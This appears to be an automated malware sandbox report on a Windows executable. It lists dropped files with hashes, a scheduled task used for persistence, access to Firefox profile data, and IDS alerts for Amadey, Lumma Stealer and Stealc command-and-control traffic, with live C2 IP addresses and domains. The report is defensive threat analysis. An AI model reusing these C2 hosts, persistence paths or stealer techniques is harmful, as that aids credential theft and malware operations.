Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r.....). ...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..).........................@...wltmzozy......X.....................@...awschmvg.....pr......f .............@....taggant.0....r.."...j .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1004528001\pohtent.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text, with very long lines (394)
Category:	dropped
Size (bytes):	4456
Entropy (8bit):	5.077943294063843
Encrypted:	false
SSDEEP:	96:1j9jwIjYjUDK/D5DMF+BOiVAZqZZLqmhmrRtH9PaQxJbGD:1j9jhjYjIK/Vo+t6QZ2mQrr9ieJGD
MD5:	1964669B7C2240A14E974B4D1A985157
SHA1:	6A103BB651FE2C24D1A8F66DF4A0EE64D927CC20
SHA-256:	A1205573A07EDEF9D403A26ECD0B0391BBECCB43E306CF3E90C00A38E6B62DCC
SHA-512:	D698A64D3A5F0FF8724489A0C74D9F188988E65211A78981ADD539684FE1F4DFD4389C337E3F477BCDDB571B3E57762EF5677B6BA32F50B1C5CDAAFFBE829DE5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_BlockedWebSite, Description: Yara detected BlockedWebSite, Source: C:\Users\user\AppData\Local\Temp\1004528001\pohtent.exe, Author: Joe Security
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Suspected phishing site \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->.<style>body{margin:0;padding:0}</style>... [if gte IE 10]> >.<script>. if (!navigator.cookieEnabled) {. window.addEventListener('DOMContentLoaded

C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3152896
Entropy (8bit):	6.628565056726371
Encrypted:	false
SSDEEP:	49152:QlSRSYqgfH/FN9/KCGCzYhQAprAd0Q0Oh58W/OEQRo+0:IOH/L9/KCGCzYhQAps1r8SOESM
MD5:	42CDE78D2F641589728DCA3038565BF9
SHA1:	61E5C515FD3E16F37BCF92EAEB117D9BCF81A860
SHA-256:	1EB9CB8A04EF7E65DD91EA1C39DD447BF49FA7A31EC0EA371AC2478725FE4DB7
SHA-512:	FD9C8DC9290C00EB5B131F0CDFDAEBCD1BCEE14F12B4BAA702BC29A8D2670270E2A3C86253C5D4FD7145E9CC36B72964E88CF735130ABEFEA8F23BFD0228DD66
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J........... 0...........@..........................P0.......0...@.................................T...h.......@........................................................................................................... . ............................@....rsrc...@...........................@....idata ............................@...ynqmdufg.`......`.................@...eotpqovp......0......./.............@....taggant.0... 0.."..../.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2132992
Entropy (8bit):	7.958444927055709
Encrypted:	false
SSDEEP:	49152:WGRojtiaRlfF3SSaHCPqHbjcMHzaVSsqoej1gWNwCoSn6T90h7:HHQfF3SSwHb/aVSNj1Dzn6q
MD5:	BC813A4FC2DA2D8C221C9F5F1D3106AD
SHA1:	F6813E46A7166CBB7865448C567316B3E94A29E8
SHA-256:	30C0CD1D6DA3BD6172472AF9F4B36AB4309211E712D533052FD53506F4FC2382
SHA-512:	D573BF202E51881E0FE8357921DDA53C641BAA2974F0011E68D34FDEF2D422B6ED5880D4A81EFECAFB9710F84E6D603BB627CD4F68BC0CB536BFBE3E38FEC05A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r.....). ...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..).........................@...wltmzozy......X.....................@...awschmvg.....pr......f .............@....taggant.0....r.."...j .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2835456
Entropy (8bit):	6.499425253409226
Encrypted:	false
SSDEEP:	49152:5lSbVu2tJNVmob14LaZ7+w0upr6oQsPKyD3pyABeC:3OptHVNb14LaZ7+wXpr6oDCaAC
MD5:	E23A0338F3332C838F5D925DDEACF8F5
SHA1:	171F65BE1015EC9CA99D29AE806E6F31CC15E706
SHA-256:	4E303ABD8571B9A4619B7603AAFE1878D64E0E8EEABF27BC71168F119E7A0C0A
SHA-512:	1D8D100282FDD2A2D5C07BFA537FA09D7D0A47BD3CB199729DCE8E97473098C50F0BC62F0B76DAD199582D1322C5B24C5A4330662CCF3BE109AA0328D3E98B93
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................,.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...bfkuwakp..+.......*..:..............@...vmlssxim. ....+.......+.............@....taggant.@....+.."..."+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3235328
Entropy (8bit):	6.679882827801986
Encrypted:	false
SSDEEP:	49152:QI91YmUt+8aGXL7uEqHK1FHTXTPPazaycTOLXzaLy7IRnhl2nY:jYma+8aGXL7XqHKvHLL+cTOLjYPq
MD5:	4077B9CF83C4160818A7937F31B4EF22
SHA1:	9B82EECC478CFF3834296FC6425513AE48F8A812
SHA-256:	8EF5D60B4E697134C974CE80ECDE5F10E05AA6D9390BD9EEB759945A1D1C3BB8
SHA-512:	43A19539F67435E5A652DA4D513C099008DC11F8C5AFBFDCA37803F57B9CC3E9B04BA006188E64EA283664F53C93F2102E1E1439F87CC9CA0433C656D60723C4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................p1...........@...........................1.....^;2...@.................................W...k............................S1..............................R1..................................................... . ............................@....rsrc...............................@....idata ............................@...kjmqizur..........................@...gtlovhwt.....`1......81.............@....taggant.0...p1.."...<1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsBAEBGHCFCA.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3235328
Entropy (8bit):	6.679882827801986
Encrypted:	false
SSDEEP:	49152:QI91YmUt+8aGXL7uEqHK1FHTXTPPazaycTOLXzaLy7IRnhl2nY:jYma+8aGXL7XqHKvHLL+cTOLjYPq
MD5:	4077B9CF83C4160818A7937F31B4EF22
SHA1:	9B82EECC478CFF3834296FC6425513AE48F8A812
SHA-256:	8EF5D60B4E697134C974CE80ECDE5F10E05AA6D9390BD9EEB759945A1D1C3BB8
SHA-512:	43A19539F67435E5A652DA4D513C099008DC11F8C5AFBFDCA37803F57B9CC3E9B04BA006188E64EA283664F53C93F2102E1E1439F87CC9CA0433C656D60723C4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................p1...........@...........................1.....^;2...@.................................W...k............................S1..............................R1..................................................... . ............................@....rsrc...............................@....idata ............................@...kjmqizur..........................@...gtlovhwt.....`1......81.............@....taggant.0...p1.."...<1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3521394724265727
Encrypted:	false
SSDEEP:	6:kxVFXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBm3Et0:Uf2RKQ1CGAFAjzvYRQVB/t0
MD5:	1630987FBB17762019FA2BB5D361CA99
SHA1:	7CCC8D0FB2D0858DD739CC9A3B702AF6EF7D05EB
SHA-256:	011ADB01D48A1188A093FA08B6754295F96FDF2A1B9544C6F9758C8E90B2B687
SHA-512:	618ABF1D42F02EB002C2249E46A8FFFC1E974F1E5053C860789DF0C9920A0802E3E44C4BD753279211B0B29DE496E171BF51253145A763C50F18BD11C1A98ABA
Malicious:	false
Preview:	...........D..m)p...F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2195)
Category:	downloaded
Size (bytes):	2200
Entropy (8bit):	5.850646049516015
Encrypted:	false
SSDEEP:	48:PQLBuUqNGKlgZ01OD5Rt7fT+ag9r33+BtT8iVR+G4zwQrJouTxuSEqmffffQo:PG4N9liJt7qag9rCtT3R3cNuffffQo
MD5:	851A7909A51908276E327EA9BF92E1C3
SHA1:	543D47910E2536EB7FC826EC460A4B9C64E90AD0
SHA-256:	3463365DC7AF571A1E8DE68F5B6758AB951E9C4363A8E5AA61640C77BED9C40D
SHA-512:	0F9988BFDA5DF5F42D92330A35F42D4B949E441B69C00061BB7CAE59E6DEDEE6860262EE48BFBBE366FE3D48A17243E2B5C2226A5EE51761C917EECFC01EA6BA
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nyt connections hints november 6","buffalo bills keon coleman injury","starbucks holiday drinks red cup","aurora borealis forecast","nintendo switch 2 games","basketball","snl the giver chappell roan","apex legends season 23 patch notes"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wNWp2eBIOTkJBIOKAlCBMZWFndWUylgdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUVBQUFBQkFDQU1BQUFDZHQ0SHNBQUFBbkZCTVZFWC8vLzhBUTR6YUdqTDIwZFRZQUJxc3VkQUFOb1lBTFlQUTF1TUFNb1VBTDRRQUtZSUFPNG5IejkvWUFCY0FQNHJYQUFyMHlzMzMyOTM3N08zYUV5Mm5zOHpsZUlIQXlOclhBQkhwa1pqWkFDSFpBeWQxaXJMV0FBRDk5UFVBSVgvcjcvV0ltcnhqZktyY0t6L2ZTVmkyd05VQURYbzdYNXJuaFkzZDR1dnl3Y1ZUY0tQZ1VWN2hYR2p3dHJzQUFIWXRWcGJ0cHF5Vm84RWVUWkg3cktHVUFBQUJ2a2xFUVZSWWhlMlcyWEtETUF4RlpYYXpCUklJV3hZN1N3bWtvVm4rLzk5cUFxUjlsZDd

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.679882827801986
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'235'328 bytes
MD5:	4077b9cf83c4160818a7937f31b4ef22
SHA1:	9b82eecc478cff3834296fc6425513ae48f8a812
SHA256:	8ef5d60b4e697134c974ce80ecde5f10e05aa6d9390bd9eeb759945a1d1c3bb8
SHA512:	43a19539f67435e5a652da4d513c099008dc11f8c5afbfdca37803f57b9cc3e9b04ba006188e64ea283664f53c93f2102e1e1439f87cc9ca0433c656d60723c4
SSDEEP:	49152:QI91YmUt+8aGXL7uEqHK1FHTXTPPazaycTOLXzaLy7IRnhl2nY:jYma+8aGXL7XqHKvHLL+cTOLjYPq
TLSH:	36E54B92B508B6CFD4CA1636C4ABCE46687D4EE607195CC3AF5870FA7EA3CC1157AC24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x717000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FBA3CF3A7BAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x315314	0x10	kjmqizur
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3152c4	0x18	kjmqizur
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x68000	f889cbbe427335c986fa4617d38d7a50	False	0.5596290001502404	data	7.032790296995252	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	b7d16686b376821266a9345c26b7e6d6	False	0.53125	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kjmqizur	0x6b000	0x2ab000	0x2aa400	e77b8a07b525ccb9a2bad9442998fab8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gtlovhwt	0x316000	0x1000	0x400	df3d7776de1f685c9818579ca784e413	False	0.734375	data	5.778196063111257	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x317000	0x3000	0x2200	fb620f90a43aadadf6a0b0f3a65b50d3	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-07T06:00:20.066087+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.4	49730	TCP
2024-11-07T06:00:58.546094+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.4	49736	TCP
2024-11-07T06:01:04.858858+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49763	185.215.113.43	80	TCP
2024-11-07T06:01:07.930244+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49780	104.21.21.16	80	TCP
2024-11-07T06:01:09.443558+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49774	TCP
2024-11-07T06:01:10.345309+0100	2044623	ET MALWARE Amadey Bot Activity (POST)	1	192.168.2.4	49791	185.215.113.43	80	TCP
2024-11-07T06:01:11.258104+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49797	185.215.113.16	80	TCP
2024-11-07T06:01:14.950033+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	65066	1.1.1.1	53	UDP
2024-11-07T06:01:14.982594+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	57477	1.1.1.1	53	UDP
2024-11-07T06:01:15.007938+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	65289	1.1.1.1	53	UDP
2024-11-07T06:01:15.033130+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	59726	1.1.1.1	53	UDP
2024-11-07T06:01:15.080617+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	59386	1.1.1.1	53	UDP
2024-11-07T06:01:15.105205+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.4	58639	1.1.1.1	53	UDP
2024-11-07T06:01:15.879231+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49828	104.21.5.155	443	TCP
2024-11-07T06:01:15.879231+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49828	104.21.5.155	443	TCP
2024-11-07T06:01:16.107697+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49827	185.215.113.43	80	TCP
2024-11-07T06:01:16.149263+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49828	104.21.5.155	443	TCP
2024-11-07T06:01:16.149263+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49828	104.21.5.155	443	TCP
2024-11-07T06:01:16.865254+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49835	104.21.5.155	443	TCP
2024-11-07T06:01:16.865254+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49835	104.21.5.155	443	TCP
2024-11-07T06:01:17.039125+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49834	185.215.113.16	80	TCP
2024-11-07T06:01:17.372262+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49835	104.21.5.155	443	TCP
2024-11-07T06:01:17.372262+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49835	104.21.5.155	443	TCP
2024-11-07T06:01:18.848602+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49844	104.21.5.155	443	TCP
2024-11-07T06:01:18.848602+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49844	104.21.5.155	443	TCP
2024-11-07T06:01:20.410542+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49854	104.21.5.155	443	TCP
2024-11-07T06:01:20.410542+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49854	104.21.5.155	443	TCP
2024-11-07T06:01:21.533622+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49859	185.215.113.206	80	TCP
2024-11-07T06:01:21.616558+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49861	185.215.113.43	80	TCP
2024-11-07T06:01:21.822410+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49859	185.215.113.206	80	TCP
2024-11-07T06:01:21.828542+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49859	TCP
2024-11-07T06:01:21.836714+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49866	104.21.5.155	443	TCP
2024-11-07T06:01:21.836714+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49866	104.21.5.155	443	TCP
2024-11-07T06:01:22.109773+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49859	185.215.113.206	80	TCP
2024-11-07T06:01:22.119940+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49859	TCP
2024-11-07T06:01:23.222726+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49859	185.215.113.206	80	TCP
2024-11-07T06:01:24.121383+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49859	185.215.113.206	80	TCP
2024-11-07T06:01:24.568049+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49879	104.21.5.155	443	TCP
2024-11-07T06:01:24.568049+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49879	104.21.5.155	443	TCP
2024-11-07T06:01:25.385000+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49879	104.21.5.155	443	TCP
2024-11-07T06:01:26.159721+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49885	185.215.113.43	80	TCP
2024-11-07T06:01:27.130084+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49891	185.215.113.16	80	TCP
2024-11-07T06:01:27.411785+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	55082	1.1.1.1	53	UDP
2024-11-07T06:01:27.452659+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	53336	1.1.1.1	53	UDP
